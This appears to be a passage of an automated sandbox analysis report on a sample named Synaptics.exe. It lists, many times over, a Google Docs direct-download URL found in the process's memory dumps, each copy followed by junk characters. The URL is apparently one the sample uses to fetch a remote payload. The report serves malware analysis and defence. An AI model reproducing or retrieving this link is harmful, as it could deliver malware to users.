Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;-
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;P
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;p
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=a
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=u
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?Q
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?U
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?f
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAP
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB7
Source: Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB=
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBL
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBSB
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBT
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBd
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBvW
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCS
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCc
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCpF
Source: Synaptics.exe, 00000003.00000002.2006759588.000000000D37E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDC
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDW
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetleniyor...
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeneto
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEPj
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEg
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEuT
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF0
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFM
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFb
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFl
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFwA
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGUe
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGV
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGf
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH/X
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHrC
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHtY
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIQ
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIa
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ1
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJM
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJN
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJT
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJe
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJmZ
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJw_
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK.E
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKP
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKq
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLNCRI
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLP
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadML
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMT
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMaP
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMd
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMv
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN-B
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN2
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNDy
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNc
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNpY
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOQ
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOW
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOg
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPC
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPR
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPb
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPw
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQN
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQU
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQd
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQf
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQg
Source: Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR/n
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR0
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRM
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRru
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRt
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSQ
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSa
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTM
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTT
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTU
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTe
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTw
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU.k
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUqp
